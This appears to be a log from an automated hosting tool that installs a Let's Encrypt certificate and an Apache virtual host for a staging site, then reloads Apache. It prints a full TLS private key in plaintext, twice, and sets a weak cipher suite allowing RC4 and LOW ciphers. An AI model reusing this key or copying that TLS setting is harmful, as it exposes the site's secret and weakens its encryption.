2025-12-08 06:00:15: Establishing a connection
2025-12-08 06:00:16: 

PUT: /tmp/pkp989175

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI


2025-12-08 06:00:17: 

chmod 755 /tmp/pkp989175; /tmp/pkp989175; rm /tmp/pkp989175

2025-12-08 06:00:17: 




2025-12-08 06:00:17: Establishing a connection
2025-12-08 06:00:18: 

PUT: /tmp/pkp702294

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
11:b4:b1:4a:47:d6:d5:c0:32:a7:a0:60:73:cc:b4:bd

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBV903uotjLty333d0WfSiVfgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA4MDUwMTQ1WhcNMjYwMzA4MDUwMTQ0WjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCnaMn6Zo5xUEMvXSRz12spg6RuF9VBV6wfZ13Z1fMgir2N
3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7O7laXjykcInLnB7hFK4WumWcFy64OSrA
DE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/QV9iMmyOEfK1AaRNGbn1wvwlOhjv8n6be
yNkK7KphMBzJ3oybNY4VSLvoQMDKLhLaKmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjk
s7xZfqQ5mK660cVkmK/qcAqaQuGfm0bdT2iLflqb0+cXqJS6JPYOtnKG2ktM0rqv
IslElfOdVRI4AmSkf7k2GYpwSNkPhypCCF79SmrvAgMBAAGjggIqMIICJjAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFDeYLGOYB8GcKUctI/ph8f3rKN36MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBAwYK
KwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGa/IvZ9AAABAMARjBEAiAMK4wNfmm9hse814jskuqv+RlndQPHTpQS
/ENaEpVDRwIgQvhJR1MNFF1BptpJn6xXY2+3JPj6qx9UhWzJ8/6l68IAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZr8i9oJAAAEAwBHMEUCIQDX
PVPR4KKv+AgvkHybqcS8CcoBpR163CTGX6Yfi5sf6wIgcevDRHdM5s2tsZOVsDrC
ttWHe1ynRgvugwD8FOAOp0YwDQYJKoZIhvcNAQELBQADggEBAGf/wCO0k5fmy5a1
3puNzbHTXgZQ7HFc9GvZT+5kQ12SnVZpa04w7ylK7B2V77c4o5bGMQCQoqTS6psf
0fGNfGbdDmRfeBZndrGpF2wAUzn0fwLiFDNTUcyY1EWcHcLOeqogb6Pu7Uz8QgHC
L6N55ss3o//xbEMzOjy0n0oP37KK1mP4VZ3LPp8LRW8kwkU43uLFk4yL6Tz5JxxI
sxJ4TokTzDVmAYeONc1g9P7ujhKyyqD3amD+Tx03FvoHukmGEanrxneLSPBBSvy6
XmdlYrrHGjO7jn7inX80q9u3BPSBj3IhqdCgvCs6AU6Qgyq7hsc8xUdmzhYNZT+8
6qPcedI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnaMn6Zo5xUEMv
XSRz12spg6RuF9VBV6wfZ13Z1fMgir2N3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7
O7laXjykcInLnB7hFK4WumWcFy64OSrADE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/Q
V9iMmyOEfK1AaRNGbn1wvwlOhjv8n6beyNkK7KphMBzJ3oybNY4VSLvoQMDKLhLa
Kmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjks7xZfqQ5mK660cVkmK/qcAqaQuGfm0bd
T2iLflqb0+cXqJS6JPYOtnKG2ktM0rqvIslElfOdVRI4AmSkf7k2GYpwSNkPhypC
CF79SmrvAgMBAAECggEAAhGvfWLLG+dsDSfPjYb6EhdIbvvobNhSjkjOxiR4zswo
L5qzPaZ7aK0cNbR/hxMLH7BPHtqWEa8HQSSp084aXcXuTg/t6cZBqJJBMz6uGyTJ
vHnqeyJ6IxijUP9qChcPNywPQMiFsLa9Y0vSp1o7hCWuVn9194biEgSqbsgF8cda
QB0Pvi/7+/UnQ9on03cZIoze/A+zyT+W7Zb0B9rMlxeDVcGtpnZYfIR2dmyihk9Y
95jkj5ypPpT1HzVfvoLrR7ZtuiaKdipDaUv/74Sn9+ABfTpM/wnCicz0PiOnXkqz
3MOdE7WkoTGL5VRnG8l8pZKGp9p1MQpnOaR3iKQaUQKBgQDUtGpFRUHcqlTAs74f
QE/O96mPIJMO6YCnLerFR4w/Jk3yAPJJ1l2JFM6prsq4on8SqH5347Y0jDFl3Jw9
2NV0Cb3drQF0w8KGG8uiFfvBLvDnidzwW4auRjLKM3ehg6K4DO789ku/YD5DeBjK
tR8jJCRLCUy0l/HFEXpcxSR64wKBgQDJfCCtSyBR113RVsiqydrPqVBPQDE4NtcV
VbBFpXZhFfZ245SiWm4tKMMQavLcws4EogUti4UpwO9HjSTLN3vfZEO8OutELmwq
dJW3cOYASiElFwb9EocG0ORa3Tc0O5MzeUgTUJc2gKsBrDkbdI/bRCe+VZD8za1U
vZws2hSRhQKBgAOgE5Ocq5O0P3+NULc9pF6VsAkld/wwFKZEzRSRtJ067OcsBvUl
NzDn7uHLfd8Jvfq2bnlioy9gGFNxICSZtoGkzNyjXzv7PiyE+sKHd2QChc6cdeyO
0svTnHf/ypExKivS5JvhIsdfP5Bs0pdZ4O77Zbb1sJ3/XPqL4rcEESwbAoGAdoH2
6lacvOZyvRVRU/sEI05P+T0ldg3zdg3/bweCWFpFq+nx24ha817dVMPC8wv1hw4R
A5fjjAp58tjWwlxxFJTxrj3tcR3o6xPFl67k6ViwpBMmPiXum5i0J6mjtaowy37T
YODu/9SwQHye3kIx9uLgiXfknn0PLR+VQ2BF5s0CgYA/8u6YI0Fjo0jq04QT7cdE
z07kM1wd+Vov2nGKbZSAUKUsIR2695npiuNGw2DAB9yGCTO17/DQW2bp4giBs0Ta
nSXGHPzKg5K9hyCyighLfzsodH0C+T6eurtSKvUZt1lfTXoV8QlrB7iIQNyvNFQg
OUD9MYQn+kgJT09c2ax3cQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-08 06:00:19: 

chmod 755 /tmp/pkp702294; /tmp/pkp702294; rm /tmp/pkp702294

2025-12-08 06:00:19: 


dir=/etc/ssl/certs


2025-12-08 06:00:19: 

PUT: /tmp/pkp181393

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-08 06:00:20: 

chmod 755 /tmp/pkp181393; /tmp/pkp181393; rm /tmp/pkp181393

2025-12-08 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-08 06:00:20: 

PUT: /tmp/pkp909050

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2025-12-08 06:00:20: 

chmod 755 /tmp/pkp909050; /tmp/pkp909050; rm /tmp/pkp909050

2025-12-08 06:00:20: 




2025-12-08 06:00:20: 

PUT: /tmp/pkp165659

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-08 06:00:21: 

chmod 755 /tmp/pkp165659; /tmp/pkp165659; rm /tmp/pkp165659

2025-12-08 06:00:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-08 06:00:21: Establishing a connection
2025-12-08 06:00:22: 

PUT: /tmp/pkp828321

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-08 06:00:23: 

chmod 755 /tmp/pkp828321; /tmp/pkp828321; rm /tmp/pkp828321

2025-12-08 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-08 06:00:23: 

PUT: /tmp/pkp105576

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-08 06:00:24: 

chmod 755 /tmp/pkp105576; /tmp/pkp105576; rm /tmp/pkp105576

2025-12-08 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf	1303

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-08 06:00:24: 

PUT: /tmp/pkp513225

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-08 06:00:24: 

chmod 755 /tmp/pkp513225; /tmp/pkp513225; rm /tmp/pkp513225

2025-12-08 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt	5381
11:b4:b1:4a:47:d6:d5:c0:32:a7:a0:60:73:cc:b4:bd

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBV903uotjLty333d0WfSiVfgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA4MDUwMTQ1WhcNMjYwMzA4MDUwMTQ0WjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCnaMn6Zo5xUEMvXSRz12spg6RuF9VBV6wfZ13Z1fMgir2N
3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7O7laXjykcInLnB7hFK4WumWcFy64OSrA
DE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/QV9iMmyOEfK1AaRNGbn1wvwlOhjv8n6be
yNkK7KphMBzJ3oybNY4VSLvoQMDKLhLaKmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjk
s7xZfqQ5mK660cVkmK/qcAqaQuGfm0bdT2iLflqb0+cXqJS6JPYOtnKG2ktM0rqv
IslElfOdVRI4AmSkf7k2GYpwSNkPhypCCF79SmrvAgMBAAGjggIqMIICJjAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFDeYLGOYB8GcKUctI/ph8f3rKN36MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBAwYK
KwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGa/IvZ9AAABAMARjBEAiAMK4wNfmm9hse814jskuqv+RlndQPHTpQS
/ENaEpVDRwIgQvhJR1MNFF1BptpJn6xXY2+3JPj6qx9UhWzJ8/6l68IAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZr8i9oJAAAEAwBHMEUCIQDX
PVPR4KKv+AgvkHybqcS8CcoBpR163CTGX6Yfi5sf6wIgcevDRHdM5s2tsZOVsDrC
ttWHe1ynRgvugwD8FOAOp0YwDQYJKoZIhvcNAQELBQADggEBAGf/wCO0k5fmy5a1
3puNzbHTXgZQ7HFc9GvZT+5kQ12SnVZpa04w7ylK7B2V77c4o5bGMQCQoqTS6psf
0fGNfGbdDmRfeBZndrGpF2wAUzn0fwLiFDNTUcyY1EWcHcLOeqogb6Pu7Uz8QgHC
L6N55ss3o//xbEMzOjy0n0oP37KK1mP4VZ3LPp8LRW8kwkU43uLFk4yL6Tz5JxxI
sxJ4TokTzDVmAYeONc1g9P7ujhKyyqD3amD+Tx03FvoHukmGEanrxneLSPBBSvy6
XmdlYrrHGjO7jn7inX80q9u3BPSBj3IhqdCgvCs6AU6Qgyq7hsc8xUdmzhYNZT+8
6qPcedI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnaMn6Zo5xUEMv
XSRz12spg6RuF9VBV6wfZ13Z1fMgir2N3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7
O7laXjykcInLnB7hFK4WumWcFy64OSrADE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/Q
V9iMmyOEfK1AaRNGbn1wvwlOhjv8n6beyNkK7KphMBzJ3oybNY4VSLvoQMDKLhLa
Kmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjks7xZfqQ5mK660cVkmK/qcAqaQuGfm0bd
T2iLflqb0+cXqJS6JPYOtnKG2ktM0rqvIslElfOdVRI4AmSkf7k2GYpwSNkPhypC
CF79SmrvAgMBAAECggEAAhGvfWLLG+dsDSfPjYb6EhdIbvvobNhSjkjOxiR4zswo
L5qzPaZ7aK0cNbR/hxMLH7BPHtqWEa8HQSSp084aXcXuTg/t6cZBqJJBMz6uGyTJ
vHnqeyJ6IxijUP9qChcPNywPQMiFsLa9Y0vSp1o7hCWuVn9194biEgSqbsgF8cda
QB0Pvi/7+/UnQ9on03cZIoze/A+zyT+W7Zb0B9rMlxeDVcGtpnZYfIR2dmyihk9Y
95jkj5ypPpT1HzVfvoLrR7ZtuiaKdipDaUv/74Sn9+ABfTpM/wnCicz0PiOnXkqz
3MOdE7WkoTGL5VRnG8l8pZKGp9p1MQpnOaR3iKQaUQKBgQDUtGpFRUHcqlTAs74f
QE/O96mPIJMO6YCnLerFR4w/Jk3yAPJJ1l2JFM6prsq4on8SqH5347Y0jDFl3Jw9
2NV0Cb3drQF0w8KGG8uiFfvBLvDnidzwW4auRjLKM3ehg6K4DO789ku/YD5DeBjK
tR8jJCRLCUy0l/HFEXpcxSR64wKBgQDJfCCtSyBR113RVsiqydrPqVBPQDE4NtcV
VbBFpXZhFfZ245SiWm4tKMMQavLcws4EogUti4UpwO9HjSTLN3vfZEO8OutELmwq
dJW3cOYASiElFwb9EocG0ORa3Tc0O5MzeUgTUJc2gKsBrDkbdI/bRCe+VZD8za1U
vZws2hSRhQKBgAOgE5Ocq5O0P3+NULc9pF6VsAkld/wwFKZEzRSRtJ067OcsBvUl
NzDn7uHLfd8Jvfq2bnlioy9gGFNxICSZtoGkzNyjXzv7PiyE+sKHd2QChc6cdeyO
0svTnHf/ypExKivS5JvhIsdfP5Bs0pdZ4O77Zbb1sJ3/XPqL4rcEESwbAoGAdoH2
6lacvOZyvRVRU/sEI05P+T0ldg3zdg3/bweCWFpFq+nx24ha817dVMPC8wv1hw4R
A5fjjAp58tjWwlxxFJTxrj3tcR3o6xPFl67k6ViwpBMmPiXum5i0J6mjtaowy37T
YODu/9SwQHye3kIx9uLgiXfknn0PLR+VQ2BF5s0CgYA/8u6YI0Fjo0jq04QT7cdE
z07kM1wd+Vov2nGKbZSAUKUsIR2695npiuNGw2DAB9yGCTO17/DQW2bp4giBs0Ta
